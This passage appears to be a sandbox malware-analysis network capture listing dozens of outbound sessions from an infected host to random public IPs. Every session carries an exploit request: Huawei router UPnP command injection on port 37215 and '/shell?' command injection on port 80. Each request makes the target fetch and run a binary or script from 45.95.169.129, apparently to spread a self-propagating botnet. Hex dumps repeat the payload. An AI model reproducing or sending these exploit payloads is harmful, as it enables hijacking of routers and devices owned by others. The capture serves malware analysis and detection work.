xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	42168	41.114.15.245	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.232971907 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	57704	156.148.227.108	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.233549118 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	35230	156.159.35.207	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.234211922 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	32802	197.184.43.108	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.236727953 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	45986	116.146.162.253	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.530791044 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	49380	153.78.202.93	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.531708956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	36334	51.121.157.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.532356977 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	59464	97.108.248.57	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.532891989 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	36284	68.138.249.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.533442020 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	39344	106.111.211.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.533946991 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	42056	99.52.36.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.534466982 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	59460	63.123.128.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.534991980 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	57202	104.234.182.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.535561085 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	39102	131.125.12.195	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.536086082 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	49888	25.106.63.88	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.536602020 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	57600	46.194.105.28	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.537132978 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	44592	82.95.255.220	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.537661076 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	49212	111.171.81.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.538234949 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	35452	69.220.86.47	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.538738966 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	34888	135.136.191.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.539283037 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	58796	145.226.147.93	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.539822102 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	33700	213.166.156.152	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.540359020 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	46078	118.14.191.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.540930986 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	43814	67.162.169.69	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.541457891 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	50418	159.173.59.75	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.541994095 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	34748	40.39.22.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.542510033 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	46934	111.185.169.137	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.543029070 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	35364	86.12.127.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.543538094 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	46900	216.35.1.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.544048071 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	46152	140.38.79.111	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.544601917 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	49450	208.22.142.137	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.545160055 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	55186	155.79.148.101	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.545705080 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	60262	176.40.25.167	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.546228886 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	57302	156.214.44.44	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:09.234837055 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	33376	156.151.148.196	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:09.235866070 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 